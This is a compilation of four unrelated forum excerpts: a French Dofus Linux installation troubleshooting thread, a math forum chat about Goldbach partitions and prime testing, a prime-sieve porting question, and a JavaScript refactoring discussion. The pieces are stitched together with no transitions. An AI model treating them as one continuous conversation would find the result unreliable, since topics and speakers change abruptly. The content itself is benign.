/opt/Dofus_Paquet/share/UpLauncher: /usr/lib/libssl.so.0.9.8: no version information available (required by /opt/Dofus_Paquet/share/UpLauncher)
linux-gate.so.1 => (0xffffe000)
libgtk-x11-2.0.so.0 => /usr/lib/libgtk-x11-2.0.so.0 (0xb7428000)
libgthread-2.0.so.0 => /lib/libgthread-2.0.so.0 (0xb7422000)
libSM.so.6 => /usr/lib/libSM.so.6 (0xb7419000)
libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0xb73c5000)
libssl.so.0.9.8 => /usr/lib/libssl.so.0.9.8 (0xb7375000)
libdbus-glib-1.so.2 => /usr/lib/libdbus-glib-1.so.2 (0xb734e000)
libgdk-x11-2.0.so.0 => /usr/lib/libgdk-x11-2.0.so.0 (0xb729f000)
libgdk_pixbuf-2.0.so.0 => /usr/lib/libgdk_pixbuf-2.0.so.0 (0xb727f000)
libgobject-2.0.so.0 => /lib/libgobject-2.0.so.0 (0xb722f000)
libglib-2.0.so.0 => /lib/libglib-2.0.so.0 (0xb7139000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0xb704a000)
libm.so.6 => /lib/libm.so.6 (0xb7020000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xb7002000)
libc.so.6 => /lib/libc.so.6 (0xb6e95000)
libXinerama.so.1 => /usr/lib/libXinerama.so.1 (0xb6e91000)
libX11.so.6 => /usr/lib/libX11.so.6 (0xb6d53000)
libpango-1.0.so.0 => /usr/lib/libpango-1.0.so.0 (0xb6d08000)
libz.so.1 => /lib/libz.so.1 (0xb6cf1000)
librt.so.1 => /lib/librt.so.1 (0xb6ce7000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb6ccc000)
libcrypto.so.0.9.8 => /usr/lib/libcrypto.so.0.9.8 (0xb6b50000)
libdl.so.2 => /lib/libdl.so.2 (0xb6b4a000)
libpng12.so.0 => /usr/lib/libpng12.so.0 (0xb6b1f000)
libexpat.so.1 => /lib/libexpat.so.1 (0xb6af5000)
libpangocairo-1.0.so.0 => /usr/lib/libpangocairo-1.0.so.0 (0xb6ae8000)
libXfixes.so.3 => /usr/lib/libXfixes.so.3 (0xb6ae2000)
libatk-1.0.so.0 => /usr/lib/libatk-1.0.so.0 (0xb6ac3000)
libcairo.so.2 => /usr/lib/libcairo.so.2 (0xb69fd000)
libgio-2.0.so.0 => /lib/libgio-2.0.so.0 (0xb68cb000)
libpangoft2-1.0.so.0 => /usr/lib/libpangoft2-1.0.so.0 (0xb689c000)
libfontconfig.so.1 => /usr/lib/libfontconfig.so.1 (0xb6866000)
libgmodule-2.0.so.0 => /lib/libgmodule-2.0.so.0 (0xb6861000)
libICE.so.6 => /usr/lib/libICE.so.6 (0xb6845000)
libuuid.so.1 => /lib/libuuid.so.1 (0xb683f000)
libdbus-1.so.3 => /lib/libdbus-1.so.3 (0xb67f4000)
libXext.so.6 => /usr/lib/libXext.so.6 (0xb67e2000)
libXrender.so.1 => /usr/lib/libXrender.so.1 (0xb67d7000)
libXi.so.6 => /usr/lib/libXi.so.6 (0xb67c6000)
libXrandr.so.2 => /usr/lib/libXrandr.so.2 (0xb67bd000)
libXcursor.so.1 => /usr/lib/libXcursor.so.1 (0xb67b1000)
libXcomposite.so.1 => /usr/lib/libXcomposite.so.1 (0xb67ad000)
libXdamage.so.1 => /usr/lib/libXdamage.so.1 (0xb67a9000)
libpcre.so.0 => /lib/libpcre.so.0 (0xb6771000)
/lib/ld-linux.so.2 (0xb78a8000)
libxcb.so.1 => /usr/lib/libxcb.so.1 (0xb6751000)
libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0xb66c9000)
libpixman-1.so.0 => /usr/lib/libpixman-1.so.0 (0xb664a000)
libpng14.so.14 => /usr/lib/libpng14.so.14 (0xb661d000)
libresolv.so.2 => /lib/libresolv.so.2 (0xb6606000)
libselinux.so.1 => /lib/libselinux.so.1 (0xb65e7000)
libXau.so.6 => /usr/lib/libXau.so.6 (0xb65e3000)
linux-jikf:~ #
Je vais l'apprécier cette connection en jeu je te le dis !
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Tout m'a l'air ok, essaie de lancer l'updater :
/opt/Dofus_Paquet/share/UpLauncher
Dernière modification par yoann21 (Le 18/09/2011, à 11:31)
Hors ligne
BisonRavi
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bon alors voilà ce que ça donne :
papounet@linux-jikf:~> /opt/Dofus_Paquet/share/UpLauncher
/opt/Dofus_Paquet/share/UpLauncher: /usr/lib/libcrypto.so.0.9.8: no version information available (required by /opt/Dofus_Paquet/share/UpLauncher)
/opt/Dofus_Paquet/share/UpLauncher: /usr/lib/libssl.so.0.9.8: no version information available (required by /opt/Dofus_Paquet/share/UpLauncher)
not running
Destroyed
papounet@linux-jikf:~>
Le launcher s'ouvre, puis un message me dit qu'une autre instance est lancé, je dois faire ok et tout se referme.
C'est bon signe hein ? dis moi que oui !
Bon app'
Edit du message :
J'ai refait le test en root et c'est passé !! enfin je me précipite pas trop mais la fenêtre de téléchargement de la mise à jour c'est ouverte et c'est en cours ... je file manger et je te donne des nouvelles juste après.
A tout'
Dernière modification par BisonRavi (Le 18/09/2011, à 12:44)
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Ba nickel ça marche alors
C'est pas très "propre" de lancer Dofus en root donc on va te corriger ça.
Une fois la mise à jour effectuée, quitte Dofus et l'updater et fait cette commande pour remettre les droits appropriés :
su
chown -R $USER /opt/Dofus_Paquet
Hors ligne
BisonRavi
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bon alors, avant et après ta dernière commande pour les droits voilà ou j'en suis.
Lancement du jeu possible uniquement avec l'icone "Dofus Direct".
Avec le Dofus updater l'icone se met en attente puis disparait au bout de 10 secondes puis rien.
Un bon pas déjà de fait et je suis du coup hyper confiant sur le dernier petit problème de lancement via le dofus updater qui ne va pas te résister bien longtemps .
Hors ligne |
That is true, but the statement is true also. Enough of the point was made.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
You have edited the post. >_<
Why is it a way to defeat the administrator?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
This Is a joke thread. The administrator deleted it, should I put it back?
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
This a joke thread, but you seem to be have my post too.
Jokes are now turning into paradoxes
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
Yes, I am sorry but the quote had to go too. That is a very sensitive topic and I only wanted you to see it.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
That is a very sensitive topic
Is that a joke again?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
Hi;
No, that one is a sensitive topic. But hidden in the joke thread it will be overlooked.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
I don't know whether the last post was a joke or not.
Why is it a sensitive topic? Have you found those creatures?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
I have heard they find you rather than the other way around. I do not wish people who are googling to find those words and then come in here looking around...
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
Why would people google about that?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
So far no reason but further explanation...
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
Now, I have got some idea why Alokananda hates my jokes.
Anyway, I was talking about a telephone number
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
I would imagine it was hers?
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
I did that and my mother's number and my dad's number too
For hers I found atleast 113274 goldbach partitions and for my father's I got atleast 120036 partitions
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
That is very good. But what did you use for k again?
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
That same value 7
How does it matter? I already told you that once it was told to be prime by miller-rabin I sent it to a REAL prime test to verify
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
Hi;
Okay, I forgot that. What other prime test did you use?
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
def isPrime(n):
for p in primes: #primes is a list that I imported from my old table
p = int(p)
if p > n**0.5:
return True
else:
if not (n%p):
return False
Just testing whether it is divisible by all the other primes less than or equal to the square root of the number
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
Okay, with k = 7 there was less than one chance in 16384 that it was making a mistake.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
Still its good to be sure
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
You had to or use a larger k.
See you later, I am going offline.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
Okay have a nice day!
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
That was gruelling but I made it back.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
I have heard they find you rather than the other way around. I do not wish people who are googling to find those words and then come in here looking around...
The La...ta files?
Here lies the reader who will never open this book. He is forever dead.
Taking a new step, uttering a new word, is what people fear most. ― Fyodor Dostoyevsky, Crime and Punishment
Offline
I have never heard of her.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline |
From here I found a fast method to make prime list, the python version works well, but my Mathematica version does not. Obviously ,169 is not a prime number. What's wrong with my program?
'''Python code'''
n = 200
sieve = np.ones(n / 3 + (n % 6 == 2), dtype = np.bool)
sieve[0] = False
for i in xrange(int(n**0.5)/3+1):
if sieve[i]:
k=(3 * i + 1) | 1
sieve[ ((k*k)/3) :: 2 * k] = False
sieve[(k * k + 4 * k - 2 * k * (i & 1))/3 :: 2 * k] = False
print ((3 * np.nonzero(sieve)[0] + 1) | 1)
(*Mathematica code*)
Clear["`*"];
n = 200;
p = ConstantArray[1, Quotient[n, 3] + Boole[Mod[n, 6] == 2]];
p[[1]] = 0;
Do[
If[p[[i]] != 0,
k = BitOr[3 (i - 1) + 1, 1];
p[[Quotient[k^2, 3] + 1 ;; -1 ;; 2 k]] = 0;
p[[Quotient[(k^2 + 4 k - 2 k BitAnd[i - 1, 1]), 3] + 1 ;; -1 ;; 2 k]] = 0;],
{i, 1, Floor[n^0.5]/3}];
res = BitOr[3 (Flatten@SparseArray[p]["NonzeroPositions"] - 1) + 1, 1];
Pick[res, PrimeQ @ res, False]
|
JavaScript
paul_wilkins — 2013-04-26T23:39:48-04:00 — #1
While watching Nicholas Zakas' Maintainable JavaScript talk at the Fluent 2012 conference, there was a very informative section in there about keeping JavaScript separate from the HTML, and other similar concerns of separation.
You can see it from the 25:40 section of the video.
pullo — 2013-04-27T08:26:40-04:00 — #2
Hi Paul,
Thanks for posting the link to that talk. I was reminded of a lot of things that I should be doing more often
I do however have one question:
At 27:02 in the video, he tells us to "Keep your HTML out of JavaScript", citing the reason that if there is something wrong with the layout, you shouldn't have to find the problem in a JS file.
E.g. this is bad:
var element = document.getElementById("container");
element.innerHTML = "<div class=\\"popup\\"></div>"
By way of a solution he proposes using some form of template (e.g. [Moustache or [URL="http://handlebarsjs.com/"]Handlebars](http://mustache.github.io/)), or pulling back markup from the server and injecting it into the page.
So far, so good, right?
Well, the other day I saw you post this code, with which you can generate random numbers for a lottery.
I noticed that if you pick nine or more numbers, the numbers overflow their container. So, I thought I'd change the markup and make the box expand to fit the numbers.
As you might already guess, I couldn't find the markup in the HTML section of the fiddle, but instead found it buried deep in the JS. I had a quick play with it, but soon gave up owing to the confusing nature of the escaped backslashes, the inline CSS and the string concatenation.
container.innerHTML = '<div id="container' + idx + '" style="' + 'position:relative;' + 'width:160px;height:50px;' + 'font-family:verdana,arial,sans-serif;' + 'font-size:12px;' + 'color:#000000;' + 'background-color:#fffff0;' + 'text-align:center;' + 'border : 1px solid #000000">' + '<input type="button" id="play' + idx + '"' + 'value="' + buttonText + '" style="margin:5px">' + '<div id="result' + idx + '" style="' + 'width:150px;' + 'font-family:verdana,arial,sans-serif;' + 'font-size:12px;' + 'color:#000000">' + initialText + '<\\/div><\\/div>';
document.body.appendChild(container);
I know this code was only intended to demonstrate a specific functionality, but this got me to wondering, how we might apply what Nicholas Zakas tells us in his talk.
I would be interested in your thoughts on this.
paul_wilkins — 2013-04-27T08:35:12-04:00 — #3
Removing the CSS from the JavaScript that's intended to be HTML, would be a good first step to things.
Then, the remaining HTML could be placed in to the web page as hidden content, or in to a template file of some kind for later use.
How do you feel about refactoring that code, as an example of how to apply such better practices?
pullo — 2013-04-27T09:30:01-04:00 — #4
Sure!
Ok, I've done this: http://jsfiddle.net/hibbard_eu/8R42e/
As you can see, I've created a template div element, which I've hidden using CSS.
I can then clone this with JS and manipulate it as required before inserting it into the page.
The code could probably do with some refactoring, but does this seem like a good start?
I've also used classes for the styling, as the dynamically generated elements are assigned varying ids, e.g.
container.innerHTML = '<div id="container' + idx + ...
jeff_mott — 2013-04-27T17:28:16-04:00 — #5
Here's an interesting trick that gets used far less often than it should.
<script id="list-template" type="text/x-handlebars-template">
<p>YUI is brought to you by:</p>
<ul>
{{#items}}
<li><a href="{{url}}">{{name}}</a></li>
{{/items}}
</ul>
</script>
This way, your markup stays in your HTML files; there's no need for any backslash escaping; and the browser won't render this template because it's wrapped in a script tag.
Then somewhere in your JavaScript (this uses YUI, but you get the gist):
// Extract the template string and compile it into a reusable function.
var template = Y.Handlebars.compile(Y.one('#list-template').getHTML());
// Render the template to HTML using the specified data.
var html = template({
items: [
{name: 'pie', url: 'http://pieisgood.org/'},
{name: 'mountain dew', url: 'http://www.mountaindew.com/'},
{name: 'kittens', url: 'http://www.flickr.com/search/?q=kittens'},
{name: 'rainbows', url: 'http://www.youtube.com/watch?v=OQSNhk5ICTI'}
]
});
paul_wilkins — 2013-04-27T18:45:11-04:00 — #6
Yes, that's a good start.
The following can be removed entirely:
template.style.display = 'block';
because it is only the template section that is hidden. When it's copied out using cloneNode and renamed, it's no longer hidden.
The template doesn't need to be appended to the page immediately after it has been read too.
container.innerHTML = '';
var template = document.getElementById('template').cloneNode(true);
container.appendChild(template);
template.id = "container" + idx;
template.className = "container";
Instead, changes are better off being made before it has been added to the page, which helps to avoid performance issues too.
var template = document.getElementById('template').cloneNode(true);
template.id = "container" + idx;
template.className = "container";
...
container.appendChild(template);
There's not much performance-wise to currently worry about, but I plan to take that appendChild down below the element updates and the event attachments.
The section with the roll button can be updated now.
var button = template.getElementsByTagName("input")[0];
button.id = "play" + idx;
button.value = buttonText;
...
var controlButton = document.getElementById("play" + idx);
if (window.addEventListener) {
controlButton.addEventListener("click", justOnce, false);
} else if (window.attachEvent) {
controlButton.attachEvent("onclick", justOnce);
}
The button variable can be renamed to something a but more expressive, to playButton.
And that event code is too complex for its own good. We can either move the cross-compatibility addEvent code out to a separate function, or we can use a more simple convention instead. Let's go with the simple and use onclick.
We can also entirely get rid of the controlButton variable too.
var playButton = template.getElementsByTagName("input")[0];
playButton.id = "play" + idx;
playButton.value = buttonText;
playButton.onclick = justOnce;
That's much better.
There's a minor conflict after that in the justOnce function because it is expecting the controlButton global variable, but that's easily fixed, by using the this keyword instead.
And why is the b variable there in the justOnce function? Normally it would be evt or some other similar event keyword, but the variable is not used at all in this function, so that variable can be removed too.
Before:
function justOnce(b) {
controlButton.blur();
...
}
After:
function justOnce() {
var button = this;
button.blur();
...
}
After these changes, we now are left with a structure where the template is obtained, changes are made to the content of that template, and at the end of things the template is placed inside of the container.
function lotto() {
// functions
...
var container = document.getElementById('container');
// updates to the template
...
container.innerHTML = '';
appendChild(template);
}
Now because I'm lazy developer, I'm going to have JSLint help me with tidying up the rest of this code, which results in the following code: http://jsfiddle.net/pmw57/8R42e/15/
Now that the code is structured and safe, there are many other improvements that should be made to it as well.
The large list of variables means that we should break the main lotto function up in to separate parts
I want to create a single global lotto object, which we can use to initialize button text values and to act as the single interface for our script
The numsort function can be much simpler, and achieve the same job
Most of the code should be broken up in to separate functions, dedicated to just one task
And the list of improvements goes on
paul_wilkins — 2013-04-27T19:42:22-04:00 — #7
I have to head off, but as something to look forward to, here's what the roll function looks like after having made a few improvements:
function roll(button) {
if (!validateRollingOptions(opts.pick, opts.from, opts.to)) {
return false;
}
var draw = drawNumbers(opts.pick, opts.from, opts.to);
draw.sort(numericSort);
updateResult(draw.join(' '));
setupNextRoll({
target: button,
totalRolls: opts.totalRolls,
rollDelay: opts.rollDelay,
callback: roll
});
}
pullo — 2013-04-28T16:49:50-04:00 — #8
Thanks for pointing that out, Jeff.
I've been wanting to have a look at Handlebars for a while now (along with so much other cool stuff - where does the time go??).
Maybe when we've worked through refactoring the code here, it would be possible to convert it to use Handlebars (and/or Moustache) as a final step.
pullo — 2013-04-28T17:16:46-04:00 — #9
Hi Paul,
I've just finished reading through your first refactoring of the code.
Thank you very much for this, as writing maintainable code, which reflects current best practices is definitely something I could be better at. It is certainly very educational to see how somebody else would go about things.
I should also get into the habit of using JS lint more often. I also ran the code through it so that I could better comprehend your final Fiddle and was quite surprised at the amount of warnings it spat out.
Most of them were logical really, but these are all things which can potentially make your code less error prone in the long run.
Allow me:
function numsort(n1, n2) {
return (n1 - n2);
}
var draw = [19, 32, 18, 36, 4, 43, 5] ;
console.log(draw.sort(numsort));
// [4, 5, 18, 19, 32, 36, 43]
I am looking forward to the second instalment. Things look as though they are shaping up quite nicely.
paul_wilkins — 2013-04-28T20:28:47-04:00 — #10
Thanks.
Going through the code at http://jsfiddle.net/pmw57/8R42e/15/ there are more issues with it that was dealing with now.
It is tempting to define a global object for the code, by that is not required yet at this stage
the "choose your lottery format" piece needs to be moved out as configuration options
the configuration options will need to be provided through a global object for the code, so we now have a good reason to define the code as a global object
the playing variable can be renamed to something a bit more expressive, such as isRolling
timer doesn't seem to be needed, as we are not stopping the timed event at any stage
counter is for the number of times the numbers are rolled, which should be moved out to a configurable options object
idx and individually numbered identifier should not be required. Experiments with having multiple lotto rollers will need to be done in order to troubleshoot any remaining issues with that
container and template need to be configurable options
the play button and result sections should be not be retrieved from the page, but instead be assigned when the lotto section is being created
numsort should be replaced with much simpler code, and be renamed to numberSort
the roll function needs a much simpler structure, which should result inonly three functions being called. One for validation, one to get the drawn numbers and one to show them
the template modifications should be moved to a separate function
the check that getDocumentById exists should throw an error if it doesn't
the firstChild check shouldn't be needed due to the refactoring, but testing will confirm that
the onsubmit function should just pass the form element to an init function
Those are the broad strokes of what needs to be done, which I'll temporarily attempt to work on from the ipad for a while.
paul_wilkins — 2013-04-28T23:12:54-04:00 — #11
The timer that is declared in the lotto function is used I only one place, and that is where the decision on whether to keep the rolling going on occurs.
timer = setTimeout(roll, 50);
if (counter > 50) {
clearTimeout(timer);
isRolling = false;
counter = 0;
}
By reorganizing that, we can remove the need for clearing the timer.
But, I cannot do this with my ipad because when I head off to edit some code, I'm forced to reload this comment page when I return, which forces me to lose all that I have typed up before.
The third time is the charm, time to admit defeat and do something else until at get back to a real computer.
paul_wilkins — 2013-04-29T00:31:18-04:00 — #12
Okay now - removing the need for the timer.
We can check if we need the timer before setting it. That will allow us to remove the need for the separate timer variable.
if (counter <= 50) {
setTimeout(roll, 50);
else {
isRolling = false;
counter = 0;
}
Those 50's each have different meanings, so we should place those in a config options area.
var lotto = function (pick, from, to) {
var opts = {
totalRolls: 50,
rollDelay: 50
},
...
After other refactorings have occurred to simplify things, we'll replace those function parameters with a single options object instead.
The playing variable can be renamed to isRolling, and we can come back to that one later to decide if it's better as a variable, or a property on the button.
buttonText and initalText can go in to the opts object:
var opts = {
buttonText: "Lotto Lucky Dip",
initialText: "Your Lucky Numbers",
...
playButton.value = opts.buttonText;
...
resultDiv.innerHTML = opts.initialText;
Let us now split up the roll function in to separate parts.
First there is the validation code, which uses pick, from and to.
if (from >= to) {
window.alert("from value must be less than to value");
return false;
}
if ((to + 1) - from < pick) {
window.alert("Error - You want " + pick + " numbers.\
\
" + "The range you have entered is from " + from + " to " + to + ".\
" + "This leaves " + (rng + 1) + " available random numbers.");
return false;
}
Because both parts return false, we can use a standard validation technique of having an isValid variable at the start of the function, which gets set to false if anything fails, and then return isValid.
function validateChoices(pick, from, to) {
var isValid = true;
if (from >= to) {
window.alert("from value must be less than to value");
isValid = false;
}
if ((to + 1) - from < pick) {
window.alert("Error - You want " + pick + " numbers.\
\
" + "The range you have entered is from " + from + " to " + to + ".\
" + "This leaves " + (rng + 1) + " available random numbers.");
isValid = false;
}
return isValid;
}
...
if (!validateChoices(pick, from, to)) {
return false;
}
and the part of the roll function that draws the different numbers, can be extracted out to a drawNumbers function
function drawNumbers(pick, from, to) {
var draw = [],
rng = to - from,
e = (rng + 1),
i,
j,
number;
isRolling = true;
for (i = 0; i < pick; i += 1) {
number = parseInt(from + Math.random() * e, 10);
for (j = 0; j < pick; j) {
if (number !== draw[j]) {
j += 1;
} else {
number = parseInt(from + Math.random() * e, 10);
j = 0;
}
}
draw[i] = number;
}
return draw;
}
...
var i,
dum = "",
disp,
draw = drawNumbers(pick, from, to);
That drawNumbers function can now be refactored, so that instead of rng and e variables, we can just use a delta variable.
var draw = [],
delta = to - from + 1, // inclusive of both ends
and the random number functions we can move out to a separate getRandomInteger function
function getRandomInteger(from, to) {
var delta = to - from + 1; // inclusive of both ends
return parseInt(from + Math.random() * delta, 10);
}
...
number = getRandomInteger(from, to);
but we still need to simplify the nested loop that draws a new random number, which is currently:
for (i = 0; i < pick; i += 1) {
number = getRandomInteger(from, to);
for (j = 0; j < pick; j) {
if (number !== draw[j]) {
j += 1;
} else {
number = getRandomInteger(from, to);
j = 0;
}
}
draw[i] = number;
}
It may be easier to see what we need to do if we switch around the if/else statement
if (number === draw[j]) {
number = getRandomInteger(from, to);
j = 0;
} else {
j += 1;
}
So what we need to do, is to keep on picking numbers until we find one that has not already been picked.
We have a couple of different options here. We could tidy up the existing structure, or we could come up with a completely different solution where we randomize an array of numbers and then pick the first n from that array.
I'll leave off temporarily here to take care of some things, and consider those options.
pullo — 2013-04-29T05:31:46-04:00 — #13
Howdy,
So, I've just finished working through your latest set of refactorings.
I like how you are applying the single responsibility principle (if you can call it that). Already the code is starting to become a lot more readable.
I have some questions and some observations.
I'll reply to your posts separately, so as to make things easier to follow.
This was bothering me when I did the initial separation of HTML and JS.
Do you think you are ever likely to need multiple lotto rollers on the same page?
That would be good.
See my previous post
Why would you check for this?
What purpose does this line actually serve?
if ((document.getElementById && document.firstChild) && window.addEventListener || window.attachEvent) {
paul_wilkins — 2013-04-29T05:39:59-04:00 — #14
It's not ordinarily likely, but I can see a use for it.
there may be a page may list different pre-defined lotto draws
or a demo page that shows how different types of settings work
or people may be able to save lotto settings that they like, as different rollers on a custom page
It was a common technique with older web browsers, for example, with IE4 and earlier not supporting getElementById. It's not a check that we tend to use nowdays, but for the sake of completion I'll leave it in with an appropriately thrown exception.
pullo — 2013-04-29T05:48:51-04:00 — #15
I followed along with all of the refactorings, however one thing occurred to me.
If you move the validation into its own method, where should the call to validateChoices go?
Ideally, you want it to be called once, when the user presses "Update Lucky Dip" and not, as is currently happening, when the user presses "Lotto Lucky Dip" to start the draw.
However, as validateChoices is defined from within the lotto function, you cannot simply write:
form.onsubmit = function () {
var form = this,
pick = Number(form.elements.pick.value) || 0,
from = Number(form.elements.from.value) || 0,
to = Number(form.elements.to.value) || 0;
if (!validateChoices(pick, from, to)) {
return false;
}
lotto(pick, from, to);
return false;
};
This is where I get a bit confused with JS. In ruby you could write Lotto::validateChoices (Lotto being a class).
Anyway, I moved this:
if (!validateChoices(pick, from, to)) {
return false;
}
to the top of the lotto function after the variable declarations, so at least it only gets called once.
The downside of that, is that the function itself has no concept of the variable rng, so you have to write:
window.alert("Error - You want " + pick + " numbers.\
\
" + "The range you have entered is from " + from + " to " + to + ".\
" + "This leaves " + ((to - from) + 1) + " available random numbers.");
instead of:
window.alert("Error - You want " + pick + " numbers.\
\
" + "The range you have entered is from " + from + " to " + to + ".\
" + "This leaves " + (rng + 1) + " available random numbers.");
What are your thoughts on this?
pullo — 2013-04-29T05:51:19-04:00 — #16
Good point!
Ah ok. Thanks!
paul_wilkins — 2013-04-29T05:53:37-04:00 — #17
My thoughts on this are that it's okay for the range variable to be calculated in a few different sections. If a third or more situations occur though, that is a good time to refactor things further.
Alternatively, you can have a getRange() function which accepts to and from, and returns the calculated range to both areas.
Whichever one you choose is a choice on your part as author, about which one you feel will result in a greater understanding for the person reading the code.
paul_wilkins — 2013-04-29T07:08:34-04:00 — #18
It is tempting to randomize an array of values, but we don't know if people will choose to pick numbers from a large range of potential millions, so I'll go with the less brittle technique of checking if the chosen number already exists in the array.
I've moved the inner loop out to a separate function called arrayHasNumber(), which has allowed me to use a while loop in there, which represents what we are wanting to achieve to a much more accurate degree.
function drawNumbers(pick, from, to) {
var draw = [],
i,
number;
for (i = 0; i < pick; i += 1) {
do {
number = getRandomInteger(from, to);
} while (arrayHasNumber(draw, number));
draw[i] = number;
}
return draw;
}
With the arrayHasNumber function, I don't know if a persons web browser yet supports the Array.indexOf method, so we can check if that method exists before using it, and if not we can fall back to looping through the array.
In fact, there's a better way of doing this, so here it is just in a code block, to show what was going to be used:
function arrayHasNumber(array, number) {
// use native technique if available
if (Array.indexOf) {
return (array.indexOf(number) > -1);
}
// otherwise check manually
var i,
hasNumber = false;
for (i = 0; i < array.length; i += 1) {
if (number === array[i]) {
hasNumber = true;
break;
}
}
return hasNumber;
}
A better way, is to provide compatibility code for the Array.indexOf method right from the start, which we can get from https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array/indexOf
if (!Array.prototype.indexOf) {
Array.prototype.indexOf = function (searchElement /*, fromIndex */ ) {
"use strict";
if (this == null) {
throw new TypeError();
}
var t = Object(this);
var len = t.length >>> 0;
if (len === 0) {
return -1;
}
var n = 0;
if (arguments.length > 1) {
n = Number(arguments[1]);
if (n != n) { // shortcut for verifying if it's NaN
n = 0;
} else if (n != 0 && n != Infinity && n != -Infinity) {
n = (n > 0 || -1) * Math.floor(Math.abs(n));
}
}
if (n >= len) {
return -1;
}
var k = n >= 0 ? n : Math.max(len - Math.abs(n), 0);
for (; k < len; k++) {
if (k in t && t[k] === searchElement) {
return k;
}
}
return -1;
}
}
Now we can replace that arrayHasNumber function with:
function arrayHasNumber(array, number) {
return array.indexOf(number) > -1;
}
We might even remove the arrayHasNumber function and just put its code directly in the while loop, but that comes down to a choice of which is more expressive.
Either this:
} while (draw.indexOf(number) > -1);
or that:
} while (numberAlreadyExists(number, draw));
I might go for the latter, but it depends too on the potential audience.
The next part to refactor is the display of the drawn numbers.
for (i = 0; i < pick; i += 1) {
disp = dum += (draw[i] + " ");
}
counter += 1;
document.getElementById("result" + idx).firstChild.data = disp;
The loop can be replaced with a simple join statement, so we don't need the dum variable.
The resultDiv was defined earlier on, so we can use that here too instead of searching for it.
And the disp variable is used only once, so we can place the join at the end of the assignment.
So the above code is brought down to just the following:
resultDiv.innerHTML = draw.join(' ');
The last part of the roll function is about setting up the next roll:
counter += 1;
if (counter <= opts.totalRolls) {
setTimeout(roll, 50);
} else {
isRolling = false;
counter = 0;
}
The isRolling variable being in the same place as resetting the counter helps me to realise that the isRolling variable isn't even needed. We can just check if the counter is greater than 0, so all isRolling parts can be removed, and the playButton onclick function can instead have this in there instead:
